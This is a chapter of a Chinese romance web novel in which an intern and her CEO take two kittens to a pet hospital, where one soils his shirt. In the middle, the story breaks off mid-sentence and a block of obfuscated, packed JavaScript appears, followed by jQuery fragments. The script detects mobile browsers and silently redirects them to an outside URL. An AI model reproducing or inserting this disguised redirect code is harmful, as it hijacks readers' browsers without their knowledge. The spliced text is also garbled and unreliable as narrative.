8. 大型社死现场

作品:《双钓

    或许是因为多了两团毛茸茸的小生命,车里先前那种无声的紧绷,不知不觉散去了大半。


    江幸仔仔细细地将小毛团裹成了“猫卷”后,才转过头,轻声问,“池总,我们去哪家宠物医院?”


    池溯转动着方向盘,语气没那么冷硬了,“香满路口有家星级宠物医院,我去过。”


    香满路——


    听到这三个字,关于小人儿蛋糕的回忆瞬间便蹦了出来。江幸没忍住,唇角一弯,低低地笑出来。


    池溯闻声,飞快地瞥了她一眼,绷紧的脸上掠过短暂的松动。


    江幸连忙抿住嘴,敛了笑意,把注意力转回小家伙们身上。


    不知是不是因为裹得太严实,其中一只开始不安分地蠕动。它奋力挣扎着,竟从羊绒毯的边缘,顶出了一颗毛茸茸的小脑袋,湿漉漉的鼻子在空气中嗅来嗅去。


    江幸摸出手机,刚要对准镜头拍上一张,它不知哪来的劲儿,竟然蹬着小短腿,一扭一拱地爬到了座椅边缘。


    站稳后,小家伙似乎对陌生的环境产生了好奇,它歪着小脑袋,伸出粉嫩的爪尖,对着皮面就是一勾——


    江幸心里咯噔一下。


    完了,“冰山”会不会当场变火山爆发,直接拎起来就丢出车窗外?


    她眼疾手快,一把将那个不安分的小毛球捞回来,直接塞进毯子里。


    幸好,池溯只是淡淡地扫了一眼,车速丝毫没变。


    可这小家伙实在淘气,没过几秒,又窸窸窣窣地从毯子里拱了出来。熟门熟路地爬回刚才那处“大宝座”,旁若无人地伸了个懒腰。


    江幸正要去抓,却见池溯自然地腾出右手,在那颗小脑袋上不轻不重地揉了一把。


    小家伙被这突如其来的抚慰弄得一愣,抖了抖小耳朵。非但没躲,反而主动歪头去蹭他的手心,嘴里还发出一声细软的“喵呜”。


    江幸彻底怔住,不可思议地看着眼前这一幕。


    可仅仅过了一两秒,男人又恢复了冰山模样,目光静静落回前方的路况上,仿佛刚才那温柔的一瞬,只是阳光折射出的幻觉。


    十几分钟后,车子停在宠物医院门口。


    江幸小心地掀开腿上的羊绒毯,两只小奶猫不知何时已蜷在一起睡着了,粉嫩的小鼻子随着呼吸微微翕动。


    她把它们重新裹进羽绒服里,正准备下车,却发现池溯已经熄了火。


    还极其自然地朝她伸出手臂,“给我一只。”


    江幸抿抿唇,下意识地将刚刚那只小淘气放进毯子里递给他。小家伙在他怀里拱了拱,寻了个舒服的姿势,很快又不动了。


    两人就这样,一人抱着一团,推开车门下车。


    医院的玻璃门自动滑开。


    池溯的脊背挺得笔直,西装一丝不苟,怀中却捧着一团毛茸茸的小东西。


    江幸跟在身后,看着这极大的反差,嘴角忍不住轻轻弯了弯。


    挂号、建档的流程很顺利,只是护士询问起小猫咪的名字时,两人都顿了一下——小家伙们还没有名字呢。


    前台护士的目光在他们之间转了转,最后落向池溯,微微一笑,“爸爸,这两小只要怎么登记呢?”


    “噗!”江幸飞快捂住嘴,差点笑出声。


    池溯却面不改色,把怀里那只“八字脸”往前递了递,“小一。”


    目光又扫过江幸臂弯里的另一只,“那只,小二。”


    护士显然早已习惯了各种抽象的名字,脸上的微笑丝毫未变,利落地在档案上填好。


    她点了点手边的二维码,“好的,小一爸爸,麻烦这里扫码,挂号费两只一共50元。”


    江幸下意识就去摸手机,身旁男人却已先她一步——


    滴!池溯的手机屏幕一闪,支付成功。


    江幸心头一喜,难道他打算收养这两小只?


    她还没跟陶源商量养宠物的事。要是这位财力雄厚的CEO肯接手,那这两小家伙岂不是一步登天,直接逆袭“豪门少爷”了。


    这念头刚在脑海里转了一圈,护士又笑着递来一张彩页宣传单,“对了小一妈妈,要不要顺便带个猫包?加50元就能换个便携款……”


    “……”


    江幸整个人瞬间一僵,本能地扭过头——


    幸好池溯已经迈开长腿,朝二楼的候诊区走去。


    应该是没听见这个雷人的称呼。


    她微微松了口气,脸上有些发烫,忙对护士点头,“要的要的,加一个猫包!”


    二楼候诊区十分宽敞,淡淡的消毒水味弥漫。


    宠物家长们三三两两坐在靠墙的长椅上,低声交谈着,偶尔传来几声毛孩子的叫声。


    江幸抬头看了眼墙上的电子叫号屏,三诊室前还有四只“病号”在排队。她抱着小二,默默在池溯身旁的空位坐下。


    此刻,小一已经从毯子里钻了出来,正昂首挺胸地站在池溯腿上,睁着圆溜溜的眼睛好奇地打量四周,毫不怯场。


    相比之下,小二就胆小许多,始终蜷在江幸怀里,只露出半张小脸和一双怯生生的眼睛。


    池溯似乎还有工作要处理,一直看着手机,左手却不忘虚虚地护着小一的身子,防止它一个兴奋栽下去。


    江幸低头,轻轻逗弄了一会儿怀里的小二。


    几分钟后,前台小姐拎着一个卡通猫包走过来,“小一妈妈,您的猫包安装好了。”


    !!!


    救命!早知如此,她当时就该果断纠正!


    江幸甚至不敢看向池溯,只能装作没听见,手忙脚乱地接过猫包,“太好了!小一小二有新房子住咯!”


    哪知,小一对这个“新家”却极为抗拒,它不安地扭动着毛茸茸的小身体,四条小短腿像装了马达,对着池溯的衬衫就是一通乱蹬。


    “别……”


    江幸伸手去捞,却慢了一步。


    小一已经灵活地顺着池溯手臂,噌噌几下就爬上了他的肩头,然后小屁股一沉,竟稳稳当当地蹲在男人的宽肩上。


    这还没完。


    下一秒,小尾巴就高高翘起。


    噗叽……哗啦……


    一滩热乎乎、黑黄相间的稀便倾泻而下,精准地落在池溯左胸口。刺鼻的气味瞬间在空气中炸开。


    池溯动作一顿,下意识地偏过头,眉头蹙了一下。


    嘶!江幸倒抽一口冷气。


    她瞬间从椅子上弹起来,左手抄起还懵懂看热闹的小二,右手拎起僵在池溯肩头的小一,以迅雷不及掩耳的速度,将两只惹祸精囫囵塞进猫包里,拉链唰地一拉到顶。


    小一似乎也意识到自己闯了祸,蔫蔫地缩在猫包角落,小尾巴垂着,不敢再闹腾。


    “对、对不起池总!”她慌手慌脚地翻开包,好不容易摸出一袋便携湿巾。


    四周的宠物家长已经纷纷看了过来,护士也注意到了这边的状况,攥着厚厚一叠纸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093824|195565||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巾快步过来帮忙。


    “先生您别介意,幼猫稍微着凉就容易腹泻,这都是常有的意外。”护士一边擦一边宽慰道。


    “是啊是啊,我家瓶盖儿小时候也没少干坏事儿,羽绒服都被尿透好几回!”


    “嘿,我家沙发上现在都是一股尿味。”


    ……


    一时间,池溯成了整个候诊区的绝对“焦点”。


    江幸的脸颊烧得滚烫,她盯着池溯身上肆意蔓延的污渍,强烈的愧疚感排山倒海般涌上。


    湿巾和纸巾很快见了底,可面对这种灾难现场,还是杯水车薪。


    “池总、要不……”她硬着头皮,声音细得几乎听不见,“您在这里稍等一下?我、我马上去附近给您买件衬衫换上?”


    说完,她才攥着衣角鼓足勇气,抬起眼。


    预想中的怒火并未出现。


    池溯只是将猫包的拉链又往上仔细提了提,确保两个小家伙不会钻出来。


    然后才转过脸,极其平淡地点了下头,“嗯。”


    江幸如蒙特赦,心头那股悬着的劲骤然松落,半秒都不敢再耽搁,转身就冲出宠物医院。


    真是倒霉透了。


    池溯空降才两天,她就已经接二连三得罪了他四次,再加上这场“生化危机”……虽然,刚刚他维持着风度没发作,恐怕心里已经彻底把她拉黑了。


    江幸越走越快。


    脑海里接连闪过无数种凄惨下场:被公司辞退、实习鉴定为不合格、作为反面典型在院里传开……


    她甚至破罐子破摔地想,大不了就换个地方重新实习。反正,她早就不想在行政部继续苟活了。


    冲进商场,直奔扶梯,“噔噔噔”几步就跨上了三楼男装区。


    “要一件男式白衬衫,快!最基础款就行。”


    “好的,”有店员笑着迎上来,“请问先生的尺码是?”


    “身高大概185左右?”江幸努力回忆着池溯挺拔的身形,“体重……就是很标准的那种,不胖不瘦。”


    她下意识地用手比划一下,“但是肩膀这儿,挺宽的。”


    店员会意点头,利落地从陈列架上取下一件简约款,“您看这件怎么样?版型很正。”


    江幸接过来,习惯性翻了一下吊牌,1298.00元。


    “嘶——”心都抽了一下。


    店员见状,立即微笑着补充,“小姐,这款我们现在有七五折活动,折后只要970元,性价比非常高的。”


    打完折还要九百多……江幸捏着衬衫,心里的天平上下晃了两秒。


    可想到医院里那片狼藉,她一咬牙,还是转身走向收银台。


    谁让自己理亏呢,总不能让小猫咪去打工还债吧。更何况,堂堂CEO在众目睽睽下被猫拉了一身……就算她现在立刻辞职,也补不回池溯丢掉的颜面。


    这钱,就当少带一周家教了。


    她忍着肉痛,付了款。


    提着新衬衫,一路飞奔回宠物医院。


    二楼的候诊区已安静下来,零星还坐着几个等候的人。


    江幸环视了一圈,没瞧见池溯的身影。她便沿着走廊一直往前走,拐过一个弯,看到一个VIP候诊区的标识。


    门虚掩着,留了一道窄缝。


    她下意识贴近门边,目光往里探去——


    池溯果然在里面,正靠坐在灰色真皮沙发上。


    裸着、上半身!